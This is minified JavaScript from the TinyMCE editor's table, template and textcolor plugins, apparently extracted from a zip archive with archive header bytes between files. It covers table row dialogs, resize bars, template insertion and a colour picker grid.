e=v.type;n(x,function(n){t(n,"scope",v.scope),t(n,"style",v.style),t(n,"class",v["class"]),i(n,"height",s(v.height)),e!==n.parentNode.nodeName.toLowerCase()&&(o=y.getParent(n,"table"),a=n.parentNode,c=y.select(e,o)[0],c||(c=y.create(e),o.firstChild?o.insertBefore(c,o.firstChild):o.appendChild(c)),c.appendChild(n),a.hasChildNodes()||y.remove(a)),1===x.length&&l(n),v.align&&r.formatter.apply("align"+v.align,{},n)}),r.focus()})}var
p,m,g,h,v,b,y=r.dom,x=[];p=r.dom.getParent(r.selection.getStart(),"table"),m=r.dom.getParent(r.selection.getStart(),"td,th"),n(p.rows,function(e){n(e.cells,function(t){if(y.getAttrib(t,"data-mce-selected")||t==m)return
x.push(e),!1})}),g=x[0],g&&(x.length>1?v={height:"",scope:"","class":"",align:"",type:g.parentNode.nodeName.toLowerCase()}:(v={height:a(y.getStyle(g,"height")||y.getAttrib(g,"height")),scope:y.getAttrib(g,"scope"),"class":y.getAttrib(g,"class")},v.type=g.parentNode.nodeName.toLowerCase(),n("left
center right".split("
"),function(e){r.formatter.matchNode(g,"align"+e)&&(v.align=e)}),f(y,v,g)),r.settings.table_row_class_list&&(h={name:"class",type:"listbox",label:"Class",values:u(r.settings.table_row_class_list,function(e){e.value&&(e.textStyle=function(){return
r.formatter.getCssText({block:"tr",classes:[e.value]})})})}),b={type:"form",columns:2,padding:0,defaults:{type:"textbox"},items:[{type:"listbox",name:"type",label:"Row
type",text:"Header",maxWidth:null,values:[{text:"Header",value:"thead"},{text:"Body",value:"tbody"},{text:"Footer",value:"tfoot"}]},{type:"listbox",name:"align",label:"Alignment",text:"None",maxWidth:null,values:[{text:"None",value:""},{text:"Left",value:"left"},{text:"Center",value:"center"},{text:"Right",value:"right"}]},{label:"Height",name:"height"},h]},r.settings.table_row_advtab!==!1?r.windowManager.open({title:"Row
properties",data:v,bodyType:"tabpanel",body:[{title:"General",type:"form",items:b},o(y)],onsubmit:c}):r.windowManager.open({title:"Row
properties",data:v,body:b,onsubmit:c}))}}}),r("tinymce/tableplugin/ResizeBars",["tinymce/util/Tools","tinymce/util/VK"],function(e,n){var
r;return function(i){function
o(e,t){return{index:e,y:i.dom.getPos(t).y}}function
a(e,t){return{index:e,y:i.dom.getPos(t).y+t.offsetHeight}}function
s(e,t){return{index:e,x:i.dom.getPos(t).x}}function
l(e,t){return{index:e,x:i.dom.getPos(t).x+t.offsetWidth}}function c(){var
e=i.getBody().dir;return"rtl"===e}function u(){return
i.inline}function d(){return
u?i.getBody().ownerDocument.body:i.getBody()}function f(e,t){return
c()?l(e,t):s(e,t)}function p(e,t){return c()?s(e,t):l(e,t)}function
m(e,t){return g(e,"width")/g(t,"width")*100}function
g(e,t){var n=i.dom.getStyle(e,t,!0),r=parseInt(n,10);return r}function
h(e){var
t=g(e,"width"),n=g(e.parentElement,"width");return
t/n*100}function v(e,t){var n=g(e,"width");return
t/n*100}function b(e,t){var n=g(e.parentElement,"width");return
t/n*100}function y(e,t,n){for(var r=[],i=1;i<n.length;i++){var
o=n[i].element;r.push(e(i-1,o))}var a=n[n.length-1];return
r.push(t(n.length-1,a.element)),r}function x(){var
t=i.dom.select("."+fe,d());e.each(t,function(e){i.dom.remove(e)})}function
C(e){x(),B(e)}function w(e,t,n,r,i,o,a,s){var
l={"data-mce-bogus":"all","class":fe+"
"+e,unselectable:"on","data-mce-resize":!1,style:"cursor:
"+t+"; margin: 0; padding: 0; position: absolute; left:
"+n+"px; top: "+r+"px; height: "+i+"px;
width: "+o+"px; "};return l[a]=s,l}function
N(t,n,r){e.each(t,function(e){var
t=r.x,o=e.y-Ce/2,a=Ce,s=n;i.dom.add(d(),"div",w(pe,me,t,o,a,s,ge,e.index))})}function
k(t,n,r){e.each(t,function(e){var
t=e.x-Ce/2,o=r.y,a=n,s=Ce;i.dom.add(d(),"div",w(ve,be,t,o,a,s,ye,e.index))})}function
S(t){return e.map(t.rows,function(t){var n=e.map(t.cells,function(e){var
t=e.hasAttribute("rowspan")?parseInt(e.getAttribute("rowspan"),10):1,n=e.hasAttribute("colspan")?parseInt(e.getAttribute("colspan"),10):1;return{element:e,rowspan:t,colspan:n}});return{element:t,cells:n}})}function
_(n){function r(e,t){return e+","+t}function i(e,t){return
s[r(e,t)]}function o(){var t=[];return
e.each(l,function(e){t=t.concat(e.cells)}),t}function a(){return l}var
s={},l=[],c=0,u=0;return e.each(n,function(n,i){var
o=[];e.each(n.cells,function(e){for(var n=0;s[r(i,n)]!==t;)n++;for(var
a={element:e.element,colspan:e.colspan,rowspan:e.rowspan,rowIndex:i,colIndex:n},l=0;l<e.colspan;l++)for(var
d=0;d<e.rowspan;d++){var
f=i+d,p=n+l;s[r(f,p)]=a,c=Math.max(c,f+1),u=Math.max(u,p+1)}o.push(a)}),l.push({element:n.element,cells:o})}),{grid:{maxRows:c,maxCols:u},getAt:i,getAllCells:o,getAllRows:a}}function
E(e,t){for(var n=[],r=e;r<t;r++)n.push(r);return n}function
T(e,t,n){for(var
r,i=e(),o=0;o<i.length;o++)t(i[o])&&(r=i[o]);return
r?r:n()}function R(t){var
n=E(0,t.grid.maxCols),r=E(0,t.grid.maxRows);return
e.map(n,function(e){function n(){for(var n=[],i=0;i<r.length;i++){var
o=t.getAt(i,e);o&&o.colIndex===e&&n.push(o)}return
n}function i(e){return 1===e.colspan}function o(){for(var
n,i=0;i<r.length;i++)if(n=t.getAt(i,e))return n;return null}return
T(n,i,o)})}function A(t){var
n=E(0,t.grid.maxCols),r=E(0,t.grid.maxRows);return
e.map(r,function(e){function r(){for(var r=[],i=0;i<n.length;i++){var
o=t.getAt(e,i);o&&o.rowIndex===e&&r.push(o)}return
r}function i(e){return 1===e.rowspan}function o(){return
t.getAt(e,0)}return T(r,i,o);
})}function B(e){var
t=S(e),n=_(t),r=A(n),s=R(n),l=i.dom.getPos(e),c=r.length>0?y(o,a,r):[],u=s.length>0?y(f,p,s):[];N(c,e.offsetWidth,l),k(u,e.offsetHeight,l)}function
P(e,t,n,r){if(t<0||t>=e.length-1)return"";var
i=e[t];if(i)i={value:i,delta:0};else for(var
o=e.slice(0,t).reverse(),a=0;a<o.length;a++)o[a]&&(i={value:o[a],delta:a+1});var
s=e[t+1];if(s)s={value:s,delta:1};else for(var
l=e.slice(t+1),c=0;c<l.length;c++)l[c]&&(s={value:l[c],delta:c+1});var
u=s.delta-i.delta,d=Math.abs(s.value-i.value)/u;return
n?d/g(r,"width")*100:d}function D(e,t){var
n=i.dom.getStyle(e,t);return
n||(n=i.dom.getAttrib(e,t)),n||(n=i.dom.getStyle(e,t,!0)),n}function
M(e,t,n){var
r=D(e,"width"),i=parseInt(r,10),o=t?m(e,n):g(e,"width");return(t&&!V(r)||!t&&!$(r))&&(i=0),!isNaN(i)&&i>0?i:o}function
L(t,n,r){for(var i=R(t),o=e.map(i,function(e){return
f(e.colIndex,e.element).x}),a=[],s=0;s<i.length;s++){var
l=i[s].element.hasAttribute("colspan")?parseInt(i[s].element.getAttribute("colspan"),10):1,c=l>1?P(o,s):M(i[s].element,n,r);c=c?c:we,a.push(c)}return
a}function I(e){var t=D(e,"height"),n=parseInt(t,10);return
V(t)&&(n=0),!isNaN(n)&&n>0?n:g(e,"height")}function
O(t){for(var n=A(t),r=e.map(n,function(e){return
o(e.rowIndex,e.element).y}),i=[],a=0;a<n.length;a++){var
s=n[a].element.hasAttribute("rowspan")?parseInt(n[a].element.getAttribute("rowspan"),10):1,l=s>1?P(r,a):I(n[a].element);l=l?l:Ne,i.push(l)}return
i}function H(t,n,r,i,o){function a(t){return e.map(t,function(){return
0})}function s(){var e;if(o)e=[100-d[0]];else{var
t=Math.max(i,d[0]+r);e=[t-d[0]]}return e}function l(e,t){var
n,o=a(d.slice(0,e)),s=a(d.slice(t+1));if(r>=0){var
l=Math.max(i,d[t]-r);n=o.concat([r,l-d[t]]).concat(s)}else{var
c=Math.max(i,d[e]+r),u=d[e]-c;n=o.concat([c-d[e],u]).concat(s)}return
n}function c(e,t){var
n,o=a(d.slice(0,t));if(r>=0)n=o.concat([r]);else{var
s=Math.max(i,d[t]+r);n=o.concat([s-d[t]])}return n}var
u,d=t.slice(0);return
u=0===t.length?[]:1===t.length?s():0===n?l(0,1):n>0&&n<t.length-1?l(n,n+1):n===t.length-1?c(n-1,n):[]}function
F(e,t,n){for(var r=0,i=e;i<t;i++)r+=n[i];return r}function z(t,n){var
r=t.getAllCells();return e.map(r,function(e){var
t=F(e.colIndex,e.colIndex+e.colspan,n);return{element:e.element,width:t,colspan:e.colspan}})}function
W(t,n){var r=t.getAllCells();return e.map(r,function(e){var
t=F(e.rowIndex,e.rowIndex+e.rowspan,n);return{element:e.element,height:t,rowspan:e.rowspan}})}function
U(t,n){var r=t.getAllRows();return
e.map(r,function(e,t){return{element:e.element,height:n[t]}})}function
V(e){return Se.test(e)}function $(e){return _e.test(e)}function
j(t,n,r){function
o(t,n){e.each(t,function(e){i.dom.setStyle(e.element,"width",e.width+n),i.dom.setAttrib(e.element,"width",null)})}function
a(){return r<u.grid.maxCols-1?h(t):h(t)+b(t,n)}function s(){return
r<u.grid.maxCols-1?g(t,"width"):g(t,"width")+n}function
l(e,n,o){r!=u.grid.maxCols-1&&o||(i.dom.setStyle(t,"width",e+n),i.dom.setAttrib(t,"width",null))}for(var
c=S(t),u=_(c),d=V(t.width)||V(t.style.width),f=L(u,d,t),p=d?v(t,n):n,m=H(f,r,p,we,d,t),y=[],x=0;x<m.length;x++)y.push(m[x]+f[x]);var
C=z(u,y),w=d?"%":"px",N=d?a():s();i.undoManager.transact(function(){o(C,w),l(N,w,d)})}function
q(t,n,r){for(var
o=S(t),a=_(o),s=O(a),l=[],c=0,u=0;u<s.length;u++)l.push(u===r?n+s[u]:s[u]),c+=c[u];var
d=W(a,l),f=U(a,l);i.undoManager.transact(function(){e.each(f,function(e){i.dom.setStyle(e.element,"height",e.height+"px"),i.dom.setAttrib(e.element,"height",null)}),e.each(d,function(e){i.dom.setStyle(e.element,"height",e.height+"px"),i.dom.setAttrib(e.element,"height",null)}),i.dom.setStyle(t,"height",c+"px"),i.dom.setAttrib(t,"height",null)})}function
Y(){ae=setTimeout(function(){J()},200)}function
X(){clearTimeout(ae)}function K(){var
e=document.createElement("div");return
e.setAttribute("style","margin: 0; padding: 0; position:
fixed; left: 0px; top: 0px; height: 100%; width:
100%;"),e.setAttribute("data-mce-bogus","all"),e}function
G(e,t){i.dom.bind(e,"mouseup",function(){J()}),i.dom.bind(e,"mousemove",function(e){X(),se&&t(e)}),i.dom.bind(e,"mouseout",function(){Y()})}function
J(){if(i.dom.remove(le),se){i.dom.removeClass(ce,ke),se=!1;var
e,t;if(Q(ce)){var
n=parseInt(i.dom.getAttrib(ce,xe),10),o=i.dom.getPos(ce).x;e=parseInt(i.dom.getAttrib(ce,ye),10),t=c()?n-o:o-n,Math.abs(t)>=1&&j(r,t,e)}else
if(ee(ce)){var
a=parseInt(i.dom.getAttrib(ce,he),10),s=i.dom.getPos(ce).y;e=parseInt(i.dom.getAttrib(ce,ge),10),t=s-a,Math.abs(t)>=1&&q(r,t,e)}C(r),i.nodeChanged()}}function
Z(e,t){le=le?le:K(),se=!0,i.dom.addClass(e,ke),ce=e,G(le,t),i.dom.add(d(),le)}function
Q(e){return i.dom.hasClass(e,ve)}function ee(e){return
i.dom.hasClass(e,pe)}function te(e){ue=ue!==t?ue:e.clientX;var
n=e.clientX-ue;ue=e.clientX;var
r=i.dom.getPos(ce).x;i.dom.setStyle(ce,"left",r+n+"px")}function
ne(e){de=de!==t?de:e.clientY;var n=e.clientY-de;de=e.clientY;var
r=i.dom.getPos(ce).y;i.dom.setStyle(ce,"top",r+n+"px")}function
re(e){ue=t,Z(e,te)}function ie(e){de=t,Z(e,ne)}function oe(e){var
t=e.target,n=i.getBody();if(i.$.contains(n,r)||r===n)if(Q(t)){e.preventDefault();var
o=i.dom.getPos(t).x;i.dom.setAttrib(t,xe,o),re(t)}else
if(ee(t)){e.preventDefault();var
a=i.dom.getPos(t).y;i.dom.setAttrib(t,he,a),ie(t)}else x()}var
ae,se,le,ce,ue,de,fe="mce-resize-bar",pe="mce-resize-bar-row",me="row-resize",ge="data-row",he="data-initial-top",ve="mce-resize-bar-col",be="col-resize",ye="data-col",xe="data-initial-left",Ce=4,we=10,Ne=10,ke="mce-resize-bar-dragging",Se=new
RegExp(/(\d+(\.\d+)?%)/),_e=new RegExp(/px|em/);return
i.on("init",function(){i.dom.bind(d(),"mousedown",oe)}),i.on("ObjectResized",function(t){var
n=t.target;if("TABLE"===n.nodeName){var
r=[];e.each(n.rows,function(t){e.each(t.cells,function(e){var
t=i.dom.getStyle(e,"width",!0);r.push({cell:e,width:t})})}),e.each(r,function(e){i.dom.setStyle(e.cell,"width",e.width),i.dom.setAttrib(e.cell,"width",null)})}}),i.on("mouseover",function(e){if(!se){var
t=i.dom.getParent(e.target,"table");("TABLE"===e.target.nodeName||t)&&(r=t,C(t))}}),i.on("keydown",function(e){switch(e.keyCode){case
n.LEFT:case n.RIGHT:case n.UP:case
n.DOWN:x()}}),i.on("remove",function(){x(),i.dom.unbind(d(),"mousedown",oe)}),{adjustWidth:j,adjustHeight:q,clearBars:x,drawBars:B,determineDeltas:H,getTableGrid:_,getTableDetails:S,getWidths:L,getPixelHeights:O,isPercentageBasedSize:V,isPixelBasedSize:$,recalculateWidths:z,recalculateCellHeights:W,recalculateRowHeights:U}}}),r("tinymce/tableplugin/Plugin",["tinymce/tableplugin/TableGrid","tinymce/tableplugin/Quirks","tinymce/tableplugin/CellSelection","tinymce/tableplugin/Dialogs","tinymce/tableplugin/ResizeBars","tinymce/util/Tools","tinymce/dom/TreeWalker","tinymce/Env","tinymce/PluginManager"],function(e,t,n,r,i,o,a,s,l){function
c(o){function a(e){return function(){o.execCommand(e)}}function l(e,t){var
n,r,i,a;for(i='<table
id="__mce"><tbody>',n=0;n<t;n++){for(i+="<tr>",r=0;r<e;r++)i+="<td>"+(s.ie&&s.ie<10?"&nbsp;":"<br>")+"</td>";i+="</tr>"}return
i+="</tbody></table>",o.undoManager.transact(function(){o.insertContent(i),a=o.dom.get("__mce"),o.dom.setAttrib(a,"id",null),o.$("tr",a).each(function(e,t){o.fire("newrow",{node:t}),o.$("th,td",t).each(function(e,t){o.fire("newcell",{node:t})})}),o.dom.setAttribs(a,o.settings.table_default_attributes||{}),o.dom.setStyles(a,o.settings.table_default_styles||{})}),a}function
c(e,t,n){function r(){var
r,i,a,s={},l=0;i=o.dom.select("td[data-mce-selected],th[data-mce-selected]"),r=i[0],r||(r=o.selection.getStart()),n&&i.length>0?(u(i,function(e){return
s[e.parentNode.parentNode.nodeName]=1}),u(s,function(e){l+=e}),a=1!==l):a=!o.dom.getParent(r,t),e.disabled(a),o.selection.selectorChanged(t,function(t){e.disabled(!t)})}o.initialized?r():o.on("init",r)}function
d(){c(this,"table")}function
f(){c(this,"td,th")}function
p(){c(this,"td,th",!0)}function m(){var
e="";e='<table role="grid" class="mce-grid
mce-grid-border" aria-readonly="true">';for(var
t=0;t<10;t++){e+="<tr>";for(var
n=0;n<10;n++)e+='<td role="gridcell"
tabindex="-1"><a
id="mcegrid'+(10*t+n)+'" href="#"
data-mce-x="'+n+'"
data-mce-y="'+t+'"></a></td>';e+="</tr>"}return
e+="</table>",e+='<div
class="mce-text-center" role="presentation">1 x
1</div>'}function g(e,t,n){var
r,i,a,s,l,c=n.getEl().getElementsByTagName("table")[0],u=n.isRtl()||"tl-tr"==n.parent().rel;for(c.nextSibling.innerHTML=e+1+"
x
"+(t+1),u&&(e=9-e),i=0;i<10;i++)for(r=0;r<10;r++)s=c.rows[i].childNodes[r].firstChild,l=(u?r>=e:r<=e)&&i<=t,o.dom.toggleClass(s,"mce-active",l),l&&(a=s);return
a.parentNode}function
h(){o.addButton("tableprops",{title:"Table
properties",onclick:k.tableProps,icon:"table"}),o.addButton("tabledelete",{title:"Delete
table",onclick:a("mceTableDelete")}),o.addButton("tablecellprops",{title:"Cell
properties",onclick:a("mceTableCellProps")}),o.addButton("tablemergecells",{title:"Merge
cells",onclick:a("mceTableMergeCells")}),o.addButton("tablesplitcells",{title:"Split
cell",onclick:a("mceTableSplitCells")}),o.addButton("tableinsertrowbefore",{title:"Insert
row
before",onclick:a("mceTableInsertRowBefore")}),o.addButton("tableinsertrowafter",{title:"Insert
row
after",onclick:a("mceTableInsertRowAfter")}),o.addButton("tabledeleterow",{title:"Delete
row",onclick:a("mceTableDeleteRow")}),o.addButton("tablerowprops",{title:"Row
properties",onclick:a("mceTableRowProps")}),o.addButton("tablecutrow",{title:"Cut
row",onclick:a("mceTableCutRow")}),o.addButton("tablecopyrow",{title:"Copy
row",onclick:a("mceTableCopyRow")}),o.addButton("tablepasterowbefore",{title:"Paste
row
before",onclick:a("mceTablePasteRowBefore")}),o.addButton("tablepasterowafter",{title:"Paste
row
after",onclick:a("mceTablePasteRowAfter")}),o.addButton("tableinsertcolbefore",{title:"Insert
column
before",onclick:a("mceTableInsertColBefore")}),o.addButton("tableinsertcolafter",{title:"Insert
column
after",onclick:a("mceTableInsertColAfter")}),o.addButton("tabledeletecol",{title:"Delete
column",onclick:a("mceTableDeleteCol")})}function v(e){var
t=o.dom.is(e,"table")&&o.getBody().contains(e);return
t}function b(){var
e=o.settings.table_toolbar;""!==e&&e!==!1&&(e||(e="tableprops
tabledelete | tableinsertrowbefore tableinsertrowafter tabledeleterow |
tableinsertcolbefore tableinsertcolafter
tabledeletecol"),o.addContextToolbar(v,e))}function y(){return
C}function x(e){C=e}var C,w,N=this,k=new
r(o);!o.settings.object_resizing||o.settings.table_resize_bars===!1||o.settings.object_resizing!==!0&&"table"!==o.settings.object_resizing||(w=i(o)),o.settings.table_grid===!1?o.addMenuItem("inserttable",{text:"Table",icon:"table",context:"table",onclick:k.table}):o.addMenuItem("inserttable",{text:"Table",icon:"table",context:"table",ariaHideMenu:!0,onclick:function(e){e.aria&&(this.parent().hideAll(),e.stopImmediatePropagation(),k.table())},onshow:function(){g(0,0,this.menu.items()[0])},onhide:function(){var
e=this.menu.items()[0].getEl().getElementsByTagName("a");o.dom.removeClass(e,"mce-active"),o.dom.addClass(e[0],"mce-active")},menu:[{type:"container",html:m(),onPostRender:function(){this.lastX=this.lastY=0},onmousemove:function(e){var
t,n,r=e.target;"A"==r.tagName.toUpperCase()&&(t=parseInt(r.getAttribute("data-mce-x"),10),n=parseInt(r.getAttribute("data-mce-y"),10),(this.isRtl()||"tl-tr"==this.parent().rel)&&(t=9-t),t===this.lastX&&n===this.lastY||(g(t,n,e.control),this.lastX=t,this.lastY=n))},onclick:function(e){var
t=this;"A"==e.target.tagName.toUpperCase()&&(e.preventDefault(),e.stopPropagation(),t.parent().cancel(),o.undoManager.transact(function(){l(t.lastX+1,t.lastY+1)}),o.addVisual())}}]}),o.addMenuItem("tableprops",{text:"Table
properties",context:"table",onPostRender:d,onclick:k.tableProps}),o.addMenuItem("deletetable",{text:"Delete
table",context:"table",onPostRender:d,cmd:"mceTableDelete"}),o.addMenuItem("cell",{separator:"before",text:"Cell",context:"table",menu:[{text:"Cell
properties",onclick:a("mceTableCellProps"),onPostRender:f},{text:"Merge
cells",onclick:a("mceTableMergeCells"),onPostRender:p},{text:"Split
cell",onclick:a("mceTableSplitCells"),onPostRender:f}]}),o.addMenuItem("row",{text:"Row",context:"table",menu:[{text:"Insert
row
before",onclick:a("mceTableInsertRowBefore"),onPostRender:f},{text:"Insert
row
after",onclick:a("mceTableInsertRowAfter"),onPostRender:f},{text:"Delete
row",onclick:a("mceTableDeleteRow"),onPostRender:f},{text:"Row
properties",onclick:a("mceTableRowProps"),onPostRender:f},{text:"-"},{text:"Cut
row",onclick:a("mceTableCutRow"),onPostRender:f},{text:"Copy
row",onclick:a("mceTableCopyRow"),onPostRender:f},{text:"Paste
row
before",onclick:a("mceTablePasteRowBefore"),onPostRender:f},{text:"Paste
row
after",onclick:a("mceTablePasteRowAfter"),onPostRender:f}]}),o.addMenuItem("column",{text:"Column",context:"table",menu:[{text:"Insert
column
before",onclick:a("mceTableInsertColBefore"),onPostRender:f},{text:"Insert
column
after",onclick:a("mceTableInsertColAfter"),onPostRender:f},{text:"Delete
column",onclick:a("mceTableDeleteCol"),onPostRender:f}]});var
S=[];u("inserttable tableprops deletetable | cell row
column".split("
"),function(e){"|"==e?S.push({text:"-"}):S.push(o.menuItems[e])}),o.addButton("table",{type:"menubutton",title:"Table",menu:S}),s.isIE||o.on("click",function(e){e=e.target,"TABLE"===e.nodeName&&(o.selection.select(e),o.nodeChanged())}),N.quirks=new
t(o),o.on("Init",function(){N.cellSelection=new
n(o,function(e){e&&w&&w.clearBars()}),N.resizeBars=w}),o.on("PreInit",function(){o.serializer.addAttributeFilter("data-mce-cell-padding,data-mce-border,data-mce-border-color",function(e,t){for(var
n=e.length;n--;)e[n].attr(t,null)})}),u({mceTableSplitCells:function(e){e.split()},mceTableMergeCells:function(e){var
t;t=o.dom.getParent(o.selection.getStart(),"th,td"),o.dom.select("td[data-mce-selected],th[data-mce-selected]").length?e.merge():k.merge(e,t)},mceTableInsertRowBefore:function(e){e.insertRows(!0)},mceTableInsertRowAfter:function(e){e.insertRows()},mceTableInsertColBefore:function(e){e.insertCols(!0)},mceTableInsertColAfter:function(e){e.insertCols()},mceTableDeleteCol:function(e){e.deleteCols()},mceTableDeleteRow:function(e){e.deleteRows()},mceTableCutRow:function(e){C=e.cutRows()},mceTableCopyRow:function(e){C=e.copyRows()},mceTablePasteRowBefore:function(e){e.pasteRows(C,!0)},mceTablePasteRowAfter:function(e){e.pasteRows(C)},mceSplitColsBefore:function(e){e.splitCols(!0)},mceSplitColsAfter:function(e){e.splitCols(!1)},mceTableDelete:function(e){w&&w.clearBars(),e.deleteTable()}},function(t,n){o.addCommand(n,function(){var
n=new
e(o);n&&(t(n),o.execCommand("mceRepaint"),N.cellSelection.clear())})}),u({mceInsertTable:k.table,mceTableProps:function(){k.table(!0)},mceTableRowProps:k.row,mceTableCellProps:k.cell},function(e,t){o.addCommand(t,function(t,n){e(n)})}),h(),b(),o.settings.table_tab_navigation!==!1&&o.on("keydown",function(t){var
n,r,i;9==t.keyCode&&(n=o.dom.getParent(o.selection.getStart(),"th,td"),n&&(t.preventDefault(),r=new
e(o),i=t.shiftKey?-1:1,o.undoManager.transact(function(){!r.moveRelIdx(n,i)&&i>0&&(r.insertRow(),r.refresh(),r.moveRelIdx(n,i))})))}),N.insertTable=l,N.setClipboardRows=x,N.getClipboardRows=y}var
u=o.each;l.add("table",c)})}(window);PKT��[�:���&tinymce/plugins/template/plugin.min.jsnu�[���tinymce.PluginManager.add("template",function(e){function
t(t){return function(){var
n=e.settings.templates;return"function"==typeof n?void
n(t):void("string"==typeof
n?tinymce.util.XHR.send({url:n,success:function(e){t(tinymce.util.JSON.parse(e))}}):t(n))}}function
n(t){function n(t){function
n(t){if(t.indexOf("<html>")==-1){var
n="";tinymce.each(e.contentCSS,function(t){n+='<link
type="text/css" rel="stylesheet"
href="'+e.documentBaseURI.toAbsolute(t)+'">'});var
i=e.settings.body_class||"";i.indexOf("=")!=-1&&(i=e.getParam("body_class","","hash"),i=i[e.id]||""),t="<!DOCTYPE
html><html><head>"+n+'</head><body
class="'+i+'">'+t+"</body></html>"}t=o(t,"template_preview_replace_values");var
a=r.find("iframe")[0].getEl().contentWindow.document;a.open(),a.write(t),a.close()}var
a=t.control.value();a.url?tinymce.util.XHR.send({url:a.url,success:function(e){i=e,n(i)}}):(i=a.content,n(i)),r.find("#description")[0].text(t.control.value().description)}var
r,i,s=[];if(!t||0===t.length){var l=e.translate("No templates
defined.");return void
e.notificationManager.open({text:l,type:"info"})}tinymce.each(t,function(e){s.push({selected:!s.length,text:e.title,value:{url:e.url,content:e.content,description:e.description}})}),r=e.windowManager.open({title:"Insert
template",layout:"flex",direction:"column",align:"stretch",padding:15,spacing:10,items:[{type:"form",flex:0,padding:0,items:[{type:"container",label:"Templates",items:{type:"listbox",label:"Templates",name:"template",values:s,onselect:n}}]},{type:"label",name:"description",label:"Description",text:"\xa0"},{type:"iframe",flex:1,border:1}],onsubmit:function(){a(!1,i)},minWidth:Math.min(tinymce.DOM.getViewPort().w,e.getParam("template_popup_width",600)),minHeight:Math.min(tinymce.DOM.getViewPort().h,e.getParam("template_popup_height",500))}),r.find("listbox")[0].fire("select")}function
r(t,n){function r(e,t){if(e=""+e,e.length<t)for(var
n=0;n<t-e.length;n++)e="0"+e;return e}var i="Sun Mon Tue
Wed Thu Fri Sat Sun".split(" "),o="Sunday Monday
Tuesday Wednesday Thursday Friday Saturday Sunday".split("
"),a="Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov
Dec".split(" "),s="January February March April May
June July August September October November December".split("
");return n=n||new
Date,t=t.replace("%D","%m/%d/%Y"),t=t.replace("%r","%I:%M:%S
%p"),t=t.replace("%Y",""+n.getFullYear()),t=t.replace("%y",""+n.getYear()),t=t.replace("%m",r(n.getMonth()+1,2)),t=t.replace("%d",r(n.getDate(),2)),t=t.replace("%H",""+r(n.getHours(),2)),t=t.replace("%M",""+r(n.getMinutes(),2)),t=t.replace("%S",""+r(n.getSeconds(),2)),t=t.replace("%I",""+((n.getHours()+11)%12+1)),t=t.replace("%p",""+(n.getHours()<12?"AM":"PM")),t=t.replace("%B",""+e.translate(s[n.getMonth()])),t=t.replace("%b",""+e.translate(a[n.getMonth()])),t=t.replace("%A",""+e.translate(o[n.getDay()])),t=t.replace("%a",""+e.translate(i[n.getDay()])),t=t.replace("%%","%")}function
i(t){var
n=e.dom,r=e.getParam("template_replace_values");s(n.select("*",t),function(e){s(r,function(t,i){n.hasClass(e,i)&&"function"==typeof
r[i]&&r[i](e)})})}function o(t,n){return
s(e.getParam(n),function(e,n){"function"==typeof
e&&(e=e(n)),t=t.replace(new
RegExp("\\{\\$"+n+"\\}","g"),e)}),t}function
a(t,n){function a(e,t){return new
RegExp("\\b"+t+"\\b","g").test(e.className)}var
l,c,u=e.dom,d=e.selection.getContent();n=o(n,"template_replace_values"),l=u.create("div",null,n),c=u.select(".mceTmpl",l),c&&c.length>0&&(l=u.create("div",null),l.appendChild(c[0].cloneNode(!0))),s(u.select("*",l),function(t){a(t,e.getParam("template_cdate_classes","cdate").replace(/\s+/g,"|"))&&(t.innerHTML=r(e.getParam("template_cdate_format",e.getLang("template.cdate_format")))),a(t,e.getParam("template_mdate_classes","mdate").replace(/\s+/g,"|"))&&(t.innerHTML=r(e.getParam("template_mdate_format",e.getLang("template.mdate_format")))),a(t,e.getParam("template_selected_content_classes","selcontent").replace(/\s+/g,"|"))&&(t.innerHTML=d)}),i(l),e.execCommand("mceInsertContent",!1,l.innerHTML),e.addVisual()}var
s=tinymce.each;e.addCommand("mceInsertTemplate",a),e.addButton("template",{title:"Insert
template",onclick:t(n)}),e.addMenuItem("template",{text:"Template",onclick:t(n),context:"insert"}),e.on("PreProcess",function(t){var
n=e.dom;s(n.select("div",t.node),function(t){n.hasClass(t,"mceTmpl")&&(s(n.select("*",t),function(t){n.hasClass(t,e.getParam("template_mdate_classes","mdate").replace(/\s+/g,"|"))&&(t.innerHTML=r(e.getParam("template_mdate_format",e.getLang("template.mdate_format"))))}),i(t))})})});PKT��[l,<*11'tinymce/plugins/textcolor/plugin.min.jsnu�[���tinymce.PluginManager.add("textcolor",function(e){function
t(t){var n;return e.dom.getParents(e.selection.getStart(),function(e){var
r;(r=e.style["forecolor"==t?"color":"background-color"])&&(n=r)}),n}function
n(t){var
n,r,i=[];for(r=["000000","Black","993300","Burnt
orange","333300","Dark
olive","003300","Dark
green","003366","Dark
azure","000080","Navy
Blue","333399","Indigo","333333","Very
dark
gray","800000","Maroon","FF6600","Orange","808000","Olive","008000","Green","008080","Teal","0000FF","Blue","666699","Grayish
blue","808080","Gray","FF0000","Red","FF9900","Amber","99CC00","Yellow
green","339966","Sea
green","33CCCC","Turquoise","3366FF","Royal
blue","800080","Purple","999999","Medium
gray","FF00FF","Magenta","FFCC00","Gold","FFFF00","Yellow","00FF00","Lime","00FFFF","Aqua","00CCFF","Sky
blue","993366","Red
violet","FFFFFF","White","FF99CC","Pink","FFCC99","Peach","FFFF99","Light
yellow","CCFFCC","Pale
green","CCFFFF","Pale
cyan","99CCFF","Light sky
blue","CC99FF","Plum"],r=e.settings.textcolor_map||r,r=e.settings[t+"_map"]||r,n=0;n<r.length;n+=2)i.push({text:r[n+1],color:"#"+r[n]});return
i}function r(){function t(e,t){var
n="transparent"==e;return'<td
class="mce-grid-cell'+(n?"
mce-colorbtn-trans":"")+'"><div
id="'+m+"-"+g++ +'"
data-mce-color="'+(e?e:"")+'"
role="option" tabIndex="-1"
style="'+(e?"background-color:
"+e:"")+'"
title="'+tinymce.translate(t)+'">'+(n?"&#215;":"")+"</div></td>"}var
r,i,o,a,s,u,d,f,p=this,m=p._id,g=0;for(f=p.settings.origin,r=n(f),r.push({text:tinymce.translate("No
color"),color:"transparent"}),o='<table
class="mce-grid mce-grid-border mce-colorbutton-grid"
role="list"
cellspacing="0"><tbody>',a=r.length-1,u=0;u<c[f];u++){for(o+="<tr>",s=0;s<l[f];s++)d=u*l[f]+s,d>a?o+="<td></td>":(i=r[d],o+=t(i.color,i.text));o+="</tr>"}if(e.settings.color_picker_callback){for(o+='<tr><td
colspan="'+l[f]+'"
class="mce-custom-color-btn"><div
id="'+m+'-c" class="mce-widget mce-btn
mce-btn-small mce-btn-flat" role="button"
tabindex="-1" aria-labelledby="'+m+'-c"
style="width: 100%"><button type="button"
role="presentation"
tabindex="-1">'+tinymce.translate("Custom...")+"</button></div></td></tr>",o+="<tr>",s=0;s<l[f];s++)o+=t("","Custom
